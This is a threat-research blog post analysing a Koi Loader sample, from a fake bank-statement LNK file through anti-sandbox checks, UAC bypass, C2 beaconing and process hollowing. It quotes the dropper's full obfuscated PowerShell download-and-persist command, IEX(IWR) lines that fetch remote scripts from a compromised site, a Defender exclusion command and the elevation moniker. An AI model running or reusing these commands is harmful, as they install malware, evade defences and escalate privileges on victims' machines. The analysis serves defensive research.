In today’s malware landscape, loaders play a critical role as the initial foothold in multi-stage attack chains. One such loader that has quietly gained traction is Koi Loader — a stealthy, modular dropper observed delivering a range of final payloads, including stealers and RATs. Despite being lesser-known than families like SmokeLoader or PrivateLoader, Koi Loader exhibits advanced techniques such as UAC bypass via COM objects, anti-VM evasion, and custom beaconing logic.
In this blog, we’ll break down a recent Koi Loader sample from its entry point — a malicious LNK file — through unpacking the binary, analyzing its inner logic, and dissecting its C2 communication strategy. This analysis aims to give threat researchers and defenders a deep dive into how Koi Loader operates under the hood.
Based on recent investigations, Koi Loader employs a sophisticated multi-stage infection process that ultimately delivers Koi Stealer.
LNK files — also known as Windows Shortcut files — are used to point to executable files or directories. They typically have the .lnk extension and are automatically created by the Windows operating system when you create a shortcut.
In malware delivery, LNK files are often abused to:
SHA256: 311d17e119c43e123a8dc7178ec01366835e6b59300ac1c72b7dd2b5e7aaa9c0
Let’s see how it looks like from outside:
The name mimics a legitimate bank statement, specifically from Chase Bank, with a timestamp to increase credibility (march_2025).
By default, Windows hides known file extensions, so the victim sees only chase_march_2025 — with no visible .lnk extension to raise suspicion. To reinforce the deception, the attacker sets the icon to that of a PDF file, making the shortcut appear as a legitimate bank statement. This combination makes it highly likely that the target mistakes the malicious shortcut for a real bank statement in PDF format.
To know what an LNK file actually does, one of the simplest techniques is to right-click the file → Properties → Shortcut tab and check the "Target" field. This reveals the full command that will be executed once the user opens the shortcut. Malicious LNKs usually hide obfuscated PowerShell, JavaScript, or batch commands here.
Attackers often take advantage of this by embedding stealthy PowerShell payloads that download and execute malicious content — exactly like in the sample we’re analyzing here.
Full command:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command $pdw = $env:programdata + '\' + ('9rqn56sj2m9os1.js q2o55or38'); $getf='Dow'+'nl'+'oadF'+'ile'; $xks3k1b8nm0p03af1zq = New-Object Net.WebClient; $wscs = 'wscript '; $xks3k1b8nm0p03af1zq.$getf
$pdw = $env:programdata + '\' + ('9rqn56sj2m9os1.js q2o55or38');
So $pdw becomes:
C:\ProgramData\9rqn56sj2m9os1.js q2o55or38
This path is likely used for storing or executing the second-stage payload.
$getf = 'Dow' + 'nl' + 'oadF' + 'ile';
This tactic helps bypass YARA or AV rules that rely on literal function names.
$xks3k1b8nm0p03af1zq = New-Object Net.WebClient;
$wscs = 'wscript ';
$xks3k1b8nm0p03af1zq.$getf
So far, the script:
But there is no domain or IP address is visible, also we don’t know what “q2o55or38” means. The string is cut off — likely due to Windows’ ~260 character limit in the GUI. So, we escalate to proper tooling.
To recover the full command line arguments, we used lnkparse, a powerful tool for parsing LNK metadata.
To install LnkParse3, simply run:
pip install LnkParse3
Once installed, you can parse a .lnk (Windows shortcut) file with:
lnkparse file.lnk
The result:
Command line arguments:
-command $pdw = $env:programdata + '\' + ('9rqn56sj2m9os1.js q2o55or38');
$getf='Dow'+'nl'+'oadF'+'ile';
$xks3k1b8nm0p03af1zq = New-Object Net.WebClient;
$wscs = 'wscript ';
$xks3k1b8nm0p03af1zq.$getf(
'https://studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/ventage3a.php',
'9rqn56sj2m9os1.js'
);
. ('curl.e'+'xe') -s -o 5zf330te4nxl 'https://studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/caginessEBuk.php';
mv 5zf330te4nxl 'q2o55or38.js';
. ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn q2o55or38;
First it downloads first-stage payload
$xks3k1b8nm0p03af1zq.DownloadFile( 'https://studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/ventage3a.php', '9rqn56sj2m9os1.js' )
A JavaScript file is downloaded to C:\ProgramData\ with name '9rqn56sj2m9os1.js'
Then it fetches an additional payload via curl
curl.exe -s -o 5zf330te4nxl 'https://studiolegaledesanctis[.]eu/wp-content/uploads/2024/07/caginessEBuk.php' mv 5zf330te4nxl 'q2o55or38.js'
Then it achieves persistence via scheduled task
schtasks /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn q2o55or38
With the LNK now fully deconstructed, we’ll skip over the JavaScript layer and focus directly on the binary it ultimately delivers. That’s where the real functionality begins.
SHA256: 6ba8a745da36ed86f9edd685a2d0d93b9e7b4ba537f431fe8dec07d4b7035363
We’ll first unpack the binary using UnpacMe to extract the actual loader payload and observe its behavior in a clean state.
https://www.unpac.me/results/670d8553-53f3-40c5-b5da-cdd749a1dcd5
After downloading the unpacked sample, let’s load it into IDA
First it retrieves the default user interface language for the current user — a common technique used by malware to determine the system's locale without triggering obvious red flags.
It then checks the result against a hardcoded list of language identifiers, according to Microsoft Docs the language identifiers translated to:
if (UserDefaultLangID == 1049 || // Russian
UserDefaultLangID == 1067 || // Armenian
UserDefaultLangID == 2092 || // Azeri (Cyrillic)
UserDefaultLangID == 1068 || // Azeri (Latin)
UserDefaultLangID == 1059 || // Belarusian
UserDefaultLangID == 1087 || // Kazakh
UserDefaultLangID == 1064 || // Tajik
UserDefaultLangID == 1090 || // Turkmen
UserDefaultLangID == 2115 || // Uzbek (Cyrillic)
UserDefaultLangID == 1091 || // Uzbek (Latin)
UserDefaultLangID == 1058) // Ukrainian
These values correspond to Russian and post-Soviet states, commonly used by malware authors to avoid infecting systems in their own region to reduce local legal risk or avoid targeting domestic users.
In addition to checking the system's locale, the binary calls a function (sub_408A00) designed to detect analysis environments and prevent execution under suspicious or sandboxed conditions. If any of its checks return true, the malware exits immediately.
The malware uses EnumDisplayDevicesW to enumerate installed display drivers and looks for virtualization strings like:
If any of these are detected, it assumes a virtual environment and exits.
It expands paths like:
Then checks if those files exist and are not directories. Presence of either confirms a VirtualBox setup.
It checks for unusual combinations of files in AppData and Documents including:
These are honeypot artifacts used by sandboxes to simulate real user activity.
"Jennifer Lopez & Pitbull..." is Sandbox test data
Then it attempts to locate a cryptocurrency wallet file:
As missing of this file may flag the system as non-user-like.
Uses GetComputerNameW and GetUserNameW to compare against known analyst/sandbox names, including:
The loader uses GlobalMemoryStatusEx and GetSystemMetrics to check:
If the machine has less than 3 GB of RAM, screen resolution is 1280x720, the username is “Admin” and the computer name is exactly 8 characters long, it assumes it's running in a sandbox and stops running.
It scans the user’s Documents directory for .doc, .docx, .xls, and .xlsx files, but only counts those that are exactly 15 bytes in size—a pattern common in sandboxes that generate dummy files. If it finds 20 or fewer of these small files, it assumes the environment is artificial and terminates.
If all other checks pass, it inspects its own filename via GetModuleFileNameW() and searches for "powershell.exe" in the path. If it detects it was launched directly via PowerShell, it exits.
If everything looks legit, it returns 1.
The function begins by calling sub_4071D0
The function sub_4071D0 retrieves the system's unique MachineGuid from the registry path:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
It first attempts to open the registry key with standard access. If that fails, it retries with KEY_WOW64_64KEY to account for 32-bit/64-bit redirection on Windows.
Once the key is opened, it:
It then performs light validation:
If a destination buffer (this) is provided, it copies the result into it and returns success.
After the function executed it is followed by GetVolumeInformationW to extract the C:\ drive serial number. These values are combined into a custom GUID structure, which is formatted with StringFromGUID2 and then used to create a named mutex.
A mutex (short for mutual exclusion) in malware is like a lock that prevents more than one copy of the malware from running at the same time on the same machine.
If the mutex already exists (ERROR_ALREADY_EXISTS = 183), the loader exits — ensuring only one instance runs per system.
Then sub_4026E0 function implements a custom Mersenne Twister (MT19937)-like pseudo-random number generator. It uses GetTickCount() as a seed and maintains a 624-entry state table (dword_40A508) to produce 32-bit pseudo-random values.
The initialization logic replicates the standard MT seeding algorithm:
MT[i] = (0x6C078965 * (MT[i - 1] ^ (MT[i - 1] >> 30)) + i)
— which is the classic formula used to initialize the Mersenne state vector.
https://github.com/woodruffw/snippets/blob/master/mersenne/mersenne.c
The function then performs state twisting and tempering phases, applying several XOR and shift operations, just like the original MT19937 spec.
The final result is returned as an unsigned integer — and in the context of this binary, it’s used to randomize a delay interval (e.g., 60 to 600 seconds) for C2 callbacks or staging behaviors.
This custom PRNG implementation avoids calling standard rand() or relying on Windows RNG APIs — both to evade detection and ensure platform-consistent, reproducible entropy.
Then it Calls WSAStartup() to initialize Winsock for C2 communication and tries to acquire a crypto provider (CryptAcquireContextA) for AES/RSA usage.
Then it copies C2 string from word_401D18 into szUrl.
The C2 address is stored in word_401D18 as a UTF-16LE encoded wide string: tp[:]//217.156.66[.]15/gnathopoda[.]php.
The loader uses a manual loop to copy this string into a buffer (szUrl)
After reconstructing the C2 string, the loader initializes the COM library using CoInitializeEx, preparing the environment for any COM-based operations used later in the infection chain. It then resolves a writable path by expanding %TEMP%\%paths% using ExpandEnvironmentStringsW, and creates a new file at that location via CreateFileW with write access. This file handle is stored in a global variable.
Before beginning of this section, we need to understand what is COM object.
A COM object (Component Object Model object) is a fundamental Windows technology that allows different software components to interact with each other — even if they are written in different programming languages.
Malware uses COM objects to launch elevated processes without triggering a UAC prompt, register a malicious binary as a handler for a COM object CLSID in the registry, and execute code under using trusted Windows components to avoid detection.
Let’s continue
Next, sub_407310 function attempts to achieve elevated execution via a COM-based UAC bypass, but only under specific user conditions.
It begins by resolving environment variables such as %ComSpec%, %ProgramW6432%, and %ProgramData%, and constructs a path for a JavaScript payload named r<GUID>.js.
It uses Add-MpPreference with PowerShell command
/c "powershell -command Add-MpPreference -ExclusionPath 'C:\\ProgramData'"
to exclude C:\ProgramData from Windows Defender scanning.
The function then retrieves the current username and calls NetUserGetInfo to confirm that the user is a member of the “Users” group.
If so, it proceeds to executes sub_4094B0.
sub_4094B0 uses native APIs (RtlInitUnicodeString, NtQueryInformationProcess) and direct memory manipulation to modify the current process’s internal structures, spoofing them to appear as if the binary is explorer.exe.
Once the process has been memory-spoofed to appear as explorer.exe, the malware proceeds to initialize the COM library by calling CoInitializeEx. It then attempts to trigger a User Account Control (UAC) bypass by invoking the elevated COM object {3E5FC7F9-9A51-4367-9063-A120244FBEC7} — a known interface for the ICMLuaUtil COM class, which allows execution with elevated privileges when accessed through certain elevation monikers. Specifically, the loader uses the string Elevation:Administrator!new:{CLSID} in a call to CoGetObject, which instructs COM to instantiate the target class as an elevated process, bypassing the UAC prompt. If successful, the returned COM interface can be used to spawn processes like cmd.exe or powershell.exe with administrator privileges — without user interaction.
If successful, it launches cmd.exe or (default command-line interpreter) using the elevated COM object and passes the PowerShell command "/c \"powershell -command Add-MpPreference -ExclusionPath 'C:\\ProgramData'\"" to perform the windows defender exclusion.
This allows the malware to run code with elevated privileges without triggering a UAC prompt and without being caught with windows defender.
The sub_406860 function (inside sub_407950) is responsible for handling all communication with the Command and Control (C2) server over HTTP(S).
It starts by dynamically obtaining the system's user-agent string using ObtainUserAgentString and converting it from ANSI to Unicode via MultiByteToWideChar. This ensures the malware mimics legitimate browser behavior, potentially evading network anomaly detection.
The function then initiates a loop that tries to create an HTTP session using InternetOpenW, and connects to the target server using InternetConnectW. The hostname and path are extracted and passed via lpszServerName and lpszObjectName, with the port and protocol already parsed and handled.
Upon successful connection, it crafts a POST request using HttpOpenRequestW and sets specific flags and options to fine-tune behavior (e.g., caching, redirects, timeouts). The request is then sent with a content type of application/octet-stream, indicating raw binary data. The payload it sends is defined by lpOptional, and the length is dwOptionalLength, making this function highly reusable for multiple data types or stages (e.g., sending beacons or receiving payloads).
After sending, the function reads the response in chunks using InternetReadFile and dynamically reallocates memory on the heap to hold the full response. Once the data is collected, it is returned as a heap-allocated buffer, ready for further processing. All heap-allocated objects and connection handles are eventually freed to reduce memory footprint and avoid detection through resource leaks.
Let’s take a step back and go to function sub_407950, it acts as a preparatory telemetry and beaconing stage. Its purpose is to gather environment-specific metadata, encrypt it, and send it to the C2 server via the sub_406860. This data helps the threat actor identify the infected host before deploying a tailored payload.
It begins by querying system-level information from the PEB (Process Environment Block), extracting the OS major and minor versions, along with the build number. Then it attempts to extract the Active Directory domain name via the LsaOpenPolicy and LsaQueryInformationPolicy APIs. If successful, it copies the domain name into a heap-allocated buffer for inclusion in the final beacon.
The function then retrieves the computer name and current username in Unicode format, converting them to ANSI using WideCharToMultiByte.
Next, it generates a 16-character alphanumeric random string, which is hashed using MD5 to produce a 16-byte key. This key is used in a simple XOR cipher to encrypt the final telemetry string.
The data that will be sent follows a pipe-delimited format:
111|<machine GUID>|<random string>|<hardcoded version>|<OS version>|<username>|<domain>
Once constructed, the entire payload is XOR-encrypted with the MD5 key and sent to the C2 server using sub_406860. If a response is returned, it is immediately discarded (freed), indicating this is only a fingerprinting or check-in phase. All buffers and memory are properly released using HeapFree, which adds stealth by avoiding obvious signs of memory leaks or abnormal allocations.
The function sub_408910() is designed to execute a remote PowerShell payload hosted on an external URL. It does this by launching a hidden command shell (cmd.exe) that invokes powershell with a remote script via Invoke-WebRequest (IWR) and Invoke-Expression (IEX).
The malware expands two environment variables to locate:
It then uses GetFileAttributesW() to check which of the two compilers is available on the victim’s system.
Then it applies a logic to determine which PowerShell script to execute:
According to the file will be executed, it constructs the powershell command
/c "powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd4.ps1')"
Or
/c "powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')"
This downloads and executes the remote .ps1 script directly in memory using:
This is a classic fileless execution technique used by malware to avoid dropping payloads on disk.
Finally, the malware launches the system command shell (cmd.exe, as %ComSpec% expands to that) with the PowerShell command, which silently runs the malicious script.
The function sub_405CA0 implements a process hollowing technique, a common method used by malware to inject a malicious PE payload into a legitimate Windows process.
It begins by validating the memory buffer received from the command-and-control (C2) server. This buffer (lpBuffer) must start with the standard "MZ" header (0x5A4D) to be considered a valid Portable Executable (PE) file. If the PE file is not in the expected format, the function exits early to avoid crashing.
Next it gets pointer to the PE header and ensures it's a 32-bit PE
lpBuffer + lpBuffer[15] = PE header offset (from DOS header)
Based on the Subsystem field (offset +46), chooses which legitimate process to hollow:
The function then initializes several process structures, including STARTUPINFO and PROCESS_INFORMATION, before creating the target process in a suspended state using CreateProcessW as dwCreationFlags is set to 4u.
0x00000004 = CREATE_SUSPENDED
This ensures the legitimate process doesn’t begin executing before the malicious payload is injected.
It then retrieves information about the new process’s memory layout using NtQueryInformationProcess to obtain the base address where the executable is mapped.
After this, the loader reads the process's memory and uses NtUnmapViewOfSection to unmap the original executable, freeing up space for the malware to be injected.
Next, VirtualAllocEx is used to allocate memory inside the hollowed process, and WriteProcessMemory copies the PE headers and section data from the malicious buffer into the target process.
If the PE requires relocation — meaning it cannot be loaded at its preferred base address — the function processes the .reloc section.
This involves recalculating memory addresses for certain instructions and pointers using information from the relocation table, and patching them using a combination of ReadProcessMemory and WriteProcessMemory.
After writing the code and handling relocations, the malware modifies the thread context of the suspended process. It sets the instruction pointer (EAX) to the entry point of the injected PE and writes the new base address into the process memory. Once the context is correctly configured, the function resumes the suspended thread using ResumeThread, effectively launching the malicious payload under the disguise of a legitimate Windows process.
Finally, the function closes all handles to the process and thread, completing the injection phase.
The examined Koi Loader sample demonstrates a well-orchestrated, multi-stage attack chain designed for stealth and persistence. Beginning with a deceptive .lnk file that leverages PowerShell obfuscation, the infection moves swiftly to drop and execute a packed binary. This loader deploys extensive anti-analysis and anti-VM checks, elevates privileges using COM-based UAC bypass, and builds a custom beacon enriched with system, domain, and user metadata. The final payload is exfiltrated to a remote server over HTTP(S), with all transmitted data XOR-obfuscated for evasion.
Urls:
C2: